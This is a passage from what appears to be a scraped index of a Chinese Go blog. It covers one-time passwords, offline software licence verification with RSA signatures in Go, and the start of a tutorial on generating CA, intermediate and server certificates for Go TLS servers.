OTP）是一种只能使用一次的密码，它在使用后立即失效。OTP生成密码的算法基于时间，在很短的时间内(一般分钟内或更短时间内)只能使用一次；每次验证都需要生成和输入新的密码，不能重复使用。\n一次性密码的优势主要有以下几点：\n安全性高：一次性密码只能使用一次，因此即使攻击者获得了密码，也无法重复使用。 易用性强：一次性密码通常是数字或字母组成的短语，易于记忆和输入。 成本低：一次性密码的生成和验证成本相对较低。 信息论已经从理论上证明了：一次性密码本是无条件安全的，在理论上是无法破译的。不过现实中，还没有一种理想的一次性密码，大多数一次性密码还处于身份认证的辅助地位，多作为第二要素。\n短信验证码就是一种我们生活中常见的一次性密码，它是利用移动运营商的短信通道传输的一次性密码。短信验证码通常由6位数字组成，有效期为几分钟，并且只能使用一次，通过短信发送给用户，非常方便用户使用，用户无需有记住密码的烦恼。\n短信验证码的工作流程如下：\n客户端发起认证请求，如登录或注册； 服务器生成6位随机数字作为验证码，通过文本短信发送到用户注册的手机号； 用户接收短信并输入验证码进行验证； 服务器通过时间戳验证此验证码是否有效(一般在5分钟内)。 验证码只能使用一次，服务器会将此条记录标记为使用。 短信验证码的优势是方便快捷。目前国内大多数主流Web应用都支持手机验证码登录。短信验证码通常用于以下场景：\n用户注册 用户登录 支付或交易 辅助密码找回等 不过手机验证码这种一次性密码的安全性相对较低，因为短信可以被截获，攻击者可以通过截获短信来获取验证码。\n除短信验证码外，还有其他常见的OTP实现形式:\n手机应用软件OTP：使用专门的手机APP软件生成OTP码，如Google Authenticator、Microsoft Authenticator等。 电子邮件OTP：类似短信验证码，但通过邮件发送6-8位数字验证码到用户注册的邮箱。 语音验证码OTP：服务端调用第三方语音平台，使用文本到语音功能给用户自动拨打认证电话，提示验证码。 总体来说，OTP越来越多地被用到用户身份认证上来，随着以后技术的进步，其应用的广度和深度会进一步扩大，安全性也会得到进一步提升。基于传统密码的认证方式早晚会被扔到历史的旧物箱中。一些大厂，如Google都在研究替代传统密码的技术，比如Passkey等，一些Web标准组织也在做无密码认证的规范，比如WebAuthn等。\n6. 小结 就写到这里吧，篇幅有些长了，关于OAuth、OpenID等身份认证技术就不在这里写了，后续找机会单独梳理。\n本文我们介绍了多种Web应用的身份认证技术方案，各种认证技术会依据对安全性、使用性和扩展性的不同需求而存在和发展。了解每种技术的原理和优劣势，可帮助我们更好地选择适合的方案。\n首次梳理这么多Web应用身份认证的资料，可能有些描述并不完全正确，欢迎指正。在撰写本文时，大语言模型帮助编写部分文字素材和代码。\n本文示例所涉及的Go源码可以在这里下载。\n7. 参考资料 《API安全实战》 – https://book.douban.com/subject/36039150/ 《API安全技术与实战》 – https://book.douban.com/subject/35429043/ 《深入浅出密码学》 – https://book.douban.com/subject/36179106/ Web Authentication Methods Compared – https://testdriven.io/blog/web-authentication-methods/ 认证：系统如何正确分辨操作用户的真实身份？ – https://time.geekbang.org/column/article/329954 如何实现零信任网络下安全的服务访问？ – https://time.geekbang.org/column/article/345593 凭证：系统如何保证与用户之间的承诺是准确完整且不可抵赖的？ – https://time.geekbang.org/column/article/333272 谷歌正推出Passkey，密码将成历史 – https://blog.google/technology/safety-security/the-beginning-of-the-end-of-the-password/ What is authentication? – https://www.microsoft.com/zh-cn/security/business/security-101/what-is-authentication Authentication(wikipedia) – https://en.wikipedia.org/wiki/Authentication.html RFC 7617: The ‘Basic’ HTTP Authentication Scheme – https://datatracker.ietf.org/doc/html/rfc7617 RFC 7616: HTTP Digest Access Authentication – https://datatracker.ietf.org/doc/html/rfc7616 RFC 7519: JSON Web Token(JWT) – https://datatracker.ietf.org/doc/html/rfc7519 Introduction to JSON Web Tokens – https://jwt.io/introduction “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/10/23/understand-go-web-authn-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-web-authn-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/10/23/understand-go-web-authn-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/10/23/understand-go-web-authn-by-example\"\u003ehttps://tonybai.com/2023/10/23/understand-go-web-authn-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://go.dev/blog/survey2023-q1-results\"\u003e2023年Q1 Go官方用户调查报告\u003c/a\u003e中，API/RPC services、Websites/web services都位于使用Go开发的应用类别的头部(如下图)：\u003c/p\u003e","title":"通过实例理解Go Web身份认证的几种方式"},{"content":"\n本文永久链接 – https://tonybai.com/2023/10/16/implementation-of-app-licensing-based-on-verifying-sign-by-pubkey\n随着互联网的普及以及应用的快速发展，商业软件的订阅模式变得越来越流行。软件公司开始提供基于订阅的服务，用户每月或每年支付费用以获取软件的使用权。这种模式使用户可以更灵活地选择服务期限，并且软件公司可以持续提供更新和技术支持。随着“软件定义汽车”的到来，这种模式在智能网联汽车领域也逐渐流行开来！\n一些需要私有化部署在客户现场的toB商业软件的公司也在探索这种订阅许可证模式，但与toC的软件不同，toB软件系统由于部署在客户数据中心中，如何有效地管理软件授权成为一个关键问题。传统的通过注册码或者登录供应商服务器进行软件授权存在诸多不便(甚至不可行)，而利用公钥基础设施实现许可证签发和验证可以很好地解决这个问题。\n本文就来探讨一下如何利用公钥证书验签的方式实现应用许可机制，在这套机制中，软件供应商负责设计许可证格式对许可证进行签名，并将证书分发给客户。客户只需要利用供应商提供的方法将证书导入系统或更新许可证即可，系统可自动识别许可证的有效性与并加载信息的变更。这种方式无需客户每次连接服务器就可以离线验证许可，既方便且安全，同时也可防止许可证被盗用或篡改。\n1. 方案原理 基于公钥验签实现许可证验证机制的原理并不复杂，如果你对非对称加密有初步了解，你就能理解下图中的方案工作流程：\n从图中可以看到，基于公钥验签的许可证验证利用了公钥加密的不对称结构让签发方(软件厂商)和验证方(客户)拥有不对等的密钥。\n首先，许可证的签发方(软件厂商)需要为某个客户生成一对公钥(证书)和私钥，私钥需要严格保密，公钥(证书)可以公开，将伴随软件安装包一并分发给客户。\n签发方(软件厂商)根据客户购买的服务或产品信息生成许可证文件，其中包含客户标识、授权信息等，然后使用其私钥对该许可证文件内容进行数字签名，形成带签名的许可证。\n客户收到许可证后，已安装到客户现场的应用会用公钥对许可证的签名进行验证，验证能够证明该许可证确实来自该签发方，且内容完整无篡改。许可证初次导入、续期或变更时，应用都会对许可证的签名进行验证。整个验证过程是离线脱机的，无需连接签发服务器。\n验证成功后，许可证生效。应用会使用许可证中携带的授权信息对应用的行为进行控制与约束。\n下面我们用一个Go实现的示例来演示一下这个方案。\n2. 许可证格式设计 我们先来为示例程序设计一个许可证。\n许可证的格式设计直接影响到许可证的生成、分发和验证等流程的顺利进行。许可证文件中需要包含能够识别客户与软件信息的字段，如客户名称、客户ID、软件名称、版本号等，其中客户ID、版本号等信息要与内置于分发给客户的应用中的信息一致，在构建应用时可以通过类似下面的命令将客户ID、版本号等信息写入给客户定制的应用程序：\n$go build -ldflags \u0026quot;-X main.version=$(version)\u0026quot; -o xxx 这些内容可以与许可证中的内容比对，防止许可证被不同客户滥用。\n同时许可证还需要包含授权范围信息，如授权类型(试用版或正式版)、授权期限、业务相关的限制授权(比如：最大接入连接数量等)等，这决定了客户可以享受的软件使用权限。\n以上的客户与软件信息和授权范围信息被称为许可证的有效载荷。\n最后，许可证还要包含签名信息，以防止许可证文件被非法修改。签名信息通常是的对有效载荷信息的摘要进行运算后的结果。有了签名信息后，许可证就算制作完成了，并可以分发给客户导入到系统中。\n统一格式的许可证文件便于厂商生成，也便于客户侧系统的解析与验证。\n下面是我们为示例设计的license文件(.lic)的例子：\n{ \u0026quot;license\u0026quot;: { \u0026quot;id\u0026quot;: \u0026quot;01234567890\u0026quot;, \u0026quot;vendor\u0026quot;: \u0026quot;XYZ Company\u0026quot;, \u0026quot;issuedTo\u0026quot;: \u0026quot;DDD Company\u0026quot;, \u0026quot;issuedDate\u0026quot;: \u0026quot;2023-10-01T00:00:00Z\u0026quot;, \u0026quot;expirationDate\u0026quot;: \u0026quot;2024-09-30T23:59:59Z\u0026quot;, \u0026quot;product\u0026quot;: \u0026quot;My App\u0026quot;, \u0026quot;version\u0026quot;: \u0026quot;1.0\u0026quot;, \u0026quot;licenseType\u0026quot;: \u0026quot;Enterprise\u0026quot;, \u0026quot;maxConnections\u0026quot;: 1000 }, \u0026quot;signature\u0026quot;: { \u0026quot;algorithm\u0026quot;: \u0026quot;SHA256withRSA\u0026quot;, \u0026quot;value\u0026quot;: \u0026quot;Cm73yXxA7g0JOWel9xIZtyYOqAcFUnrOectrnI3jX9iQC9NVt61CuZogFdm72uPO5o+h4NhFEy0Lymgt29XFWEEVqrUnZuNRZee5W3UXsPC5vkhVt414Co5rsXuFFV/2UDFt36sF7rp30H53H/M7TCUF0spEfx+ybilS4xC5AjCPC4/1G7swQ2zCVvBfvQXhZkz953DdgMD3sBsqU2i0mMPbMHGGH6J6wXoHjCC6VQ0e3azVTVhiA40kxo5/uI0+ENOo559NIiPaZiAkgZgiuRFybJFk5Ib705BuaNHw6HfRk5DnxmWF/852cv32hT7it0is77p0wGODACkNkPL7YQ==\u0026quot; } } 接下来我们就基于这个license文件的设计来制作一个许可证并签发。\n3. 许可证的制作与签发 3.1 生成客户专用的私钥和公钥证书 为了给客户制作许可证，我们需要为客户生成一对专用的私钥和公钥证书，这个过程与《Go TLS服务端绑定证书的几种方式》一文中的证书制作步骤一致，我们来看一下生成私钥和公钥证书的代码：\n// app-licensing/make_certs/main.go func main() { // 生成CA根证书密钥对 caKey, err := rsa.GenerateKey(rand.Reader, 2048) checkError(err) // 生成CA证书模板 caTemplate := x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{ Organization: []string{\u0026quot;Go CA\u0026quot;}, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour * 24 * 365), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, BasicConstraintsValid: true, IsCA: true, } // 使用模板自签名生成CA证书 caCert, err := x509.CreateCertificate(rand.Reader, \u0026amp;caTemplate, \u0026amp;caTemplate, \u0026amp;caKey.PublicKey, caKey) checkError(err) // 生成中间CA密钥对 interKey, err := rsa.GenerateKey(rand.Reader, 2048) checkError(err) // 生成中间CA证书模板 interTemplate := x509.Certificate{ SerialNumber: big.NewInt(2), Subject: pkix.Name{ Organization: []string{\u0026quot;Go Intermediate CA\u0026quot;}, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour * 24 * 365), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, BasicConstraintsValid: true, IsCA: true, } // 用CA证书签名生成中间CA证书 interCert, err := x509.CreateCertificate(rand.Reader, \u0026amp;interTemplate, \u0026amp;caTemplate, \u0026amp;interKey.PublicKey, caKey) checkError(err) // 生成叶子证书密钥对 leafKey, err := rsa.GenerateKey(rand.Reader, 2048) checkError(err) // 生成叶子证书模板,CN为DDD Company leafTemplate := x509.Certificate{ SerialNumber: big.NewInt(3), Subject: pkix.Name{ Organization: []string{\u0026quot;DDD Company\u0026quot;}, CommonName: \u0026quot;ddd.com\u0026quot;, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour * 24 * 365), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, SubjectKeyId: []byte{1, 2, 3, 4}, } // 用中间CA证书签名生成叶子证书 leafCert, err := x509.CreateCertificate(rand.Reader, \u0026amp;leafTemplate, \u0026amp;interTemplate, \u0026amp;leafKey.PublicKey, interKey) checkError(err) // 将证书和密钥编码为PEM格式 caCertPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;CERTIFICATE\u0026quot;, Bytes: caCert}) caKeyPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;RSA PRIVATE KEY\u0026quot;, Bytes: x509.MarshalPKCS1PrivateKey(caKey)}) interCertPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;CERTIFICATE\u0026quot;, Bytes: interCert}) interKeyPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;RSA PRIVATE KEY\u0026quot;, Bytes: x509.MarshalPKCS1PrivateKey(interKey)}) leafCertPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;CERTIFICATE\u0026quot;, Bytes: leafCert}) leafKeyPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;RSA PRIVATE KEY\u0026quot;, Bytes: x509.MarshalPKCS1PrivateKey(leafKey)}) // 将PEM写入文件 writeDataToFile(\u0026quot;ca-cert.pem\u0026quot;, caCertPEM) writeDataToFile(\u0026quot;ca-key.pem\u0026quot;, caKeyPEM) writeDataToFile(\u0026quot;inter-cert.pem\u0026quot;, interCertPEM) writeDataToFile(\u0026quot;inter-key.pem\u0026quot;, interKeyPEM) writeDataToFile(\u0026quot;ddd-cert.pem\u0026quot;, leafCertPEM) writeDataToFile(\u0026quot;ddd-key.pem\u0026quot;, leafKeyPEM) } 我们分别生成了CA根、中间CA以及用于DDD Company许可证签发的专用key(ddd-key.pem)和公钥证书(ddd-cert.pem)，执行上述代码后，我们将在目录下看到如下文件：\n// app-licensing/make_certs $go run main.go $ls ca-cert.pem ddd-cert.pem go.mod inter-key.pem ca-key.pem ddd-key.pem inter-cert.pem main.go 3.2 制作许可证文件 有了ddd-key.pem后，我们就可以来制作专供DDD Company的许可证了。我们建立make_lic目录，将ddd-key.pem拷贝到该目录下。\n下面是用于生成许可证文件的main函数代码片段(忽略了一些错误处理)：\n// app-licensing/make_lic/main.go // 1. 建立对应license和Signature的结构体类型 type License struct { ID string `json:\u0026quot;id\u0026quot;` Vendor string `json:\u0026quot;vendor\u0026quot;` IssuedTo string `json:\u0026quot;issuedTo\u0026quot;` IssuedDate string `json:\u0026quot;issuedDate\u0026quot;` ExpirationDate string `json:\u0026quot;expirationDate\u0026quot;` Product string `json:\u0026quot;product\u0026quot;` Version string `json:\u0026quot;version\u0026quot;` LicenseType string `json:\u0026quot;licenseType\u0026quot;` MaxConnections int `json:\u0026quot;maxConnections\u0026quot;` } type Signature struct { Algorithm string `json:\u0026quot;algorithm\u0026quot;` Value string `json:\u0026quot;value\u0026quot;` } func main() { keyData, _ := os.ReadFile(\u0026quot;ddd-key.pem\u0026quot;) // 加载私钥 block, _ := pem.Decode(keyData) if block == nil || block.Type != \u0026quot;RSA PRIVATE KEY\u0026quot; { log.Fatal(\u0026quot;failed to decode PEM block containing private key\u0026quot;) } priKey, err := x509.ParsePKCS1PrivateKey(block.Bytes) if err != nil { log.Fatal(err) } // 2. 填充license的各个字段的值 var license License license.ID = \u0026quot;01234567890\u0026quot; license.Vendor = \u0026quot;XYZ Company\u0026quot; license.IssuedTo = \u0026quot;DDD Company\u0026quot; license.IssuedDate = \u0026quot;2023-10-01T00:00:00Z\u0026quot; license.ExpirationDate = \u0026quot;2024-09-30T23:59:59Z\u0026quot; license.Product = \u0026quot;My App\u0026quot; license.Version = \u0026quot;1.0\u0026quot; license.LicenseType = \u0026quot;Enterprise\u0026quot; license.MaxConnections = 1000 // 3. 将各个字段连接后sha256摘要 data := []string{ license.ID, license.Vendor, license.IssuedTo, license.IssuedDate, license.ExpirationDate, license.Product, license.Version, license.LicenseType, strconv.Itoa(license.MaxConnections), } payload := strings.Join(data, \u0026quot;\u0026quot;) hash := sha256.Sum256([]byte(payload)) // 4. 用私钥对摘要签名 signed, _ := rsa.SignPKCS1v15(rand.Reader, priKey, crypto.SHA256, hash[:]) // 5. 对签名结果base64编码 signedB64 := base64.StdEncoding.EncodeToString(signed) // 6. 生成signature对象 signature := Signature{ Algorithm: \u0026quot;SHA256withRSA\u0026quot;, Value: signedB64, } // 7. 序列化为json fullLicense := map[string]interface{}{ \u0026quot;license\u0026quot;: license, \u0026quot;signature\u0026quot;: signature, } jsonData, _ := json.MarshalIndent(fullLicense, \u0026quot;\u0026quot;, \u0026quot; \u0026quot;) // 8. 保存为.lic文件 os.WriteFile(\u0026quot;ddd-company.lic\u0026quot;, jsonData, 0644) } 我们看到main函数制作许可证文件的步骤有很多，这里用下面这幅示意图来直观的说明一下：\n证书的输入是有效载荷，包括客户与软件信息(比如ID、Product)、授权信息(比如IssueTo、IssuedDate、ExpirationDate等)、业务授权相关信息(比如MaxConnections等)。\n我们将这些输入信息按声明顺序做字符串排列，并对获得的最终字符串做Sha256的单向散列得到摘要信息(摘要长度固定，运算速度较快)。\n摘要信息是私钥签名的操作对象。签名后的信息转换为base64编码，最后存入许可证文件中。\n这个许可证制作完毕后，就可以分发给客户了。客户拿到许可证，导入到系统中，这时系统就会对导入的许可证进行验证。下面我们就接着来看看如何使用伴随系统一起分发的公钥证书对许可证进行验签。\n4. 许可证的验证 对许可证验证的过程和步骤可以用下面示意图来表示：\n我们看到：图中verify signature有三个输入：公钥、从许可证文件中读取的经过base64 decode后的签名值(signature value)和基于许可证中字段计算出的摘要值。使用公钥对signature value进行运算得到的摘要值与基于许可证中字段计算出的摘要值如果一致，则说明验签成功。\n基于图中流程，我们给出该示例验签部分的代码实现：\n// app-licensing/verify_lic/main.go func main() { // 1. 加载公钥证书,提取公钥 certData, _ := os.ReadFile(\u0026quot;ddd-cert.pem\u0026quot;) block, _ := pem.Decode(certData) cert, _ := x509.ParseCertificate(block.Bytes) pubKey := cert.PublicKey.(*rsa.PublicKey) // 2. 解析许可证文件 licData, err := os.ReadFile(\u0026quot;ddd-company.lic\u0026quot;) if err != nil { panic(err) } var license License var signature Signature err = json.Unmarshal(licData, \u0026amp;struct{ License *License }{\u0026amp;license}) if err != nil { panic(err) } err = json.Unmarshal(licData, \u0026amp;struct{ Signature *Signature }{\u0026amp;signature}) if err != nil { panic(err) } // 3. 生成签名摘要 data := []string{ license.ID, license.Vendor, license.IssuedTo, license.IssuedDate, license.ExpirationDate, license.Product, license.Version, license.LicenseType, strconv.Itoa(license.MaxConnections), } payload := strings.Join(data, \u0026quot;\u0026quot;) hash := sha256.Sum256([]byte(payload)) // 4. 使用公钥验签 signValue, _ := base64.StdEncoding.DecodeString(signature.Value) err = rsa.VerifyPKCS1v15(pubKey, crypto.SHA256, hash[:], signValue) if err != nil { fmt.Println(\u0026quot;Invalid signature:\u0026quot;, err) } else { fmt.Println(\u0026quot;Signature verified\u0026quot;) } } 5. 小结 本文介绍了如何利用数字签名和公钥基础设施实现软件许可证的安全可靠验证。通过设计许可证格式，包含客户标识、授权范围等关键信息，并添加软件供应商的数字签名，可以生成包含授权信息和不可篡改性的许可证文件。许可证签发方持有私钥对证书内容进行签名，而客户侧部署的系统则持有厂商的公钥来验证签名的有效性。整个流程无需连接签发服务器即可完成验证。这种模式解决了传统方式的诸多访问控制难题，实现了可靠、安全、便捷的分布式许可证验证方式。\n当然我们也需要注意一些该机制的潜在问题，如私钥保护、公钥可信传递等。同时当有人将系统和许可证做整体复制时，这个方案也无法限制住这种非授权使用(只能等待许可证过期)。\n最后，软件厂商可以按产品、客户来管理私钥和签发的证书(如下图所示)：\n本文示例所涉及的Go源码可以在这里下载。\n注：代码仓库中的证书和key文件有效期为一年，大家如发现证书已经过期，可以在make_certs目录下重新生成各种证书和私钥并copy到对应的其他目录中去。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/10/16/implementation-of-app-licensing-based-on-verifying-sign-by-pubkey/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/implementation-of-app-licensing-based-on-verifying-sign-by-pubkey-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/10/16/implementation-of-app-licensing-based-on-verifying-sign-by-pubkey\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/10/16/implementation-of-app-licensing-based-on-verifying-sign-by-pubkey\"\u003ehttps://tonybai.com/2023/10/16/implementation-of-app-licensing-based-on-verifying-sign-by-pubkey\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e随着互联网的普及以及应用的快速发展，商业软件的订阅模式变得越来越流行。软件公司开始提供基于订阅的服务，用户每月或每年支付费用以获取软件的使用权。这种模式使用户可以更灵活地选择服务期限，并且软件公司可以持续提供更新和技术支持。随着“软件定义汽车”的到来，这种模式在智能网联汽车领域也逐渐流行开来！\u003c/p\u003e","title":"基于公钥验签实现应用许可机制"},{"content":"\n本文永久链接 – https://tonybai.com/2023/10/13/multiple-ways-to-bind-certificates-on-go-tls-server-side\n随着互联网的发展，网站提供的服务类型和规模不断扩大，同时也对Web服务的安全性提出了更高的要求。TLS(Transport Layer Security)已然成为Web服务最重要的安全基础设施之一。默认情况下，一个TLS服务器通常只绑定一个证书，但当服务复杂度增加时，单一证书已然难以满足需求。这时，服务端绑定多个TLS证书就成为一个非常实用的功能。\nGo语言中的net/http包和tls包对TLS提供了强大的支持，在密码学和安全专家Filippo Valsorda的精心设计下，Go提供了多种TLS服务端绑定证书的方式，本文将详细探讨服务端绑定TLS证书的几种方式，包括绑定单个证书、多个证书、自定义证书绑定逻辑等。我会配合示例代码，了解每种方式的使用场景、实现原理和优缺点。\n注：本文假设读者已熟悉基本的TLS使用方法，并具备Go语言编程经验。如果你不具备Go语言基础知识，可以将学习我撰写的极客时间专栏《Go语言第一课》作为你入门Go的起点。\n1. 热身：制作证书 为了后续示例说明方便，我们先来把示例所需的私钥和证书都做出来，本文涉及的证书以及他们之间的签发关系如下图：\n注：示例使用的自签名根证书。\n从图中我们看到，我们证书分为三个层次，最左边是CA的根证书(root certificate，比如ca-cert.pem)，之后是根CA签发的中间CA证书(intermediate certificate，比如inter-cert.pem)，从安全和管理角度出发，真正签发服务器证书的都是这些中间CA；最右侧则是由中间CA签发的叶子证书(leaf certificate，比如leaf-server-cert.pem)，也就是服务器配置的服务端证书(server certificate)，我们为三个不同域名创建了不同的服务器证书。\n在这里，我们制作上述证书没有使用类似openssl这样的工具，而是通过Go代码生成的，下面是生成上述证书的代码片段：\n// tls-certs-binding/make_certs/main.go func main() { // 生成CA根证书密钥对 caKey, err := rsa.GenerateKey(rand.Reader, 2048) checkError(err) // 生成CA证书模板 caTemplate := x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{ Organization: []string{\u0026quot;Go CA\u0026quot;}, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour * 24 * 365), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, BasicConstraintsValid: true, IsCA: true, } // 使用模板自签名生成CA证书 caCert, err := x509.CreateCertificate(rand.Reader, \u0026amp;caTemplate, \u0026amp;caTemplate, \u0026amp;caKey.PublicKey, caKey) checkError(err) // 生成中间CA密钥对 interKey, err := rsa.GenerateKey(rand.Reader, 2048) checkError(err) // 生成中间CA证书模板 interTemplate := x509.Certificate{ SerialNumber: big.NewInt(2), Subject: pkix.Name{ Organization: []string{\u0026quot;Go Intermediate CA\u0026quot;}, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour * 24 * 365), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, BasicConstraintsValid: true, IsCA: true, } // 用CA证书签名生成中间CA证书 interCert, err := x509.CreateCertificate(rand.Reader, \u0026amp;interTemplate, \u0026amp;caTemplate, \u0026amp;interKey.PublicKey, caKey) checkError(err) // 生成叶子证书密钥对 leafKey, err := rsa.GenerateKey(rand.Reader, 2048) checkError(err) // 生成叶子证书模板,CN为server.com leafTemplate := x509.Certificate{ SerialNumber: big.NewInt(3), Subject: pkix.Name{ Organization: []string{\u0026quot;Go Server\u0026quot;}, CommonName: \u0026quot;server.com\u0026quot;, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour * 24 * 365), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, IPAddresses: []net.IP{net.ParseIP(\u0026quot;127.0.0.1\u0026quot;)}, DNSNames: []string{\u0026quot;server.com\u0026quot;}, SubjectKeyId: []byte{1, 2, 3, 4}, } // 用中间CA证书签名生成叶子证书 leafCert, err := x509.CreateCertificate(rand.Reader, \u0026amp;leafTemplate, \u0026amp;interTemplate, \u0026amp;leafKey.PublicKey, interKey) checkError(err) // 生成server1.com叶子证书 leafKey1, _ := rsa.GenerateKey(rand.Reader, 2048) leafTemplate1 := x509.Certificate{ SerialNumber: big.NewInt(4), Subject: pkix.Name{ CommonName: \u0026quot;server1.com\u0026quot;, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour * 24 * 365), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, DNSNames: []string{\u0026quot;server1.com\u0026quot;}, } leafCert1, _ := x509.CreateCertificate(rand.Reader, \u0026amp;leafTemplate1, \u0026amp;interTemplate, \u0026amp;leafKey1.PublicKey, interKey) // 生成server2.com叶子证书 leafKey2, _ := rsa.GenerateKey(rand.Reader, 2048) leafTemplate2 := x509.Certificate{ SerialNumber: big.NewInt(5), Subject: pkix.Name{ CommonName: \u0026quot;server2.com\u0026quot;, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour * 24 * 365), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, DNSNames: []string{\u0026quot;server2.com\u0026quot;}, } leafCert2, _ := x509.CreateCertificate(rand.Reader, \u0026amp;leafTemplate2, \u0026amp;interTemplate, \u0026amp;leafKey2.PublicKey, interKey) // 将证书和密钥编码为PEM格式 caCertPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;CERTIFICATE\u0026quot;, Bytes: caCert}) caKeyPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;RSA PRIVATE KEY\u0026quot;, Bytes: x509.MarshalPKCS1PrivateKey(caKey)}) interCertPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;CERTIFICATE\u0026quot;, Bytes: interCert}) interKeyPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;RSA PRIVATE KEY\u0026quot;, Bytes: x509.MarshalPKCS1PrivateKey(interKey)}) leafCertPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;CERTIFICATE\u0026quot;, Bytes: leafCert}) leafKeyPEM := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;RSA PRIVATE KEY\u0026quot;, Bytes: x509.MarshalPKCS1PrivateKey(leafKey)}) leafCertPEM1 := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;CERTIFICATE\u0026quot;, Bytes: leafCert1}) leafKeyPEM1 := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;RSA PRIVATE KEY\u0026quot;, Bytes: x509.MarshalPKCS1PrivateKey(leafKey1)}) leafCertPEM2 := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;CERTIFICATE\u0026quot;, Bytes: leafCert2}) leafKeyPEM2 := pem.EncodeToMemory(\u0026amp;pem.Block{Type: \u0026quot;RSA PRIVATE KEY\u0026quot;, Bytes: x509.MarshalPKCS1PrivateKey(leafKey2)}) // 将PEM写入文件 writeDataToFile(\u0026quot;ca-cert.pem\u0026quot;, caCertPEM) 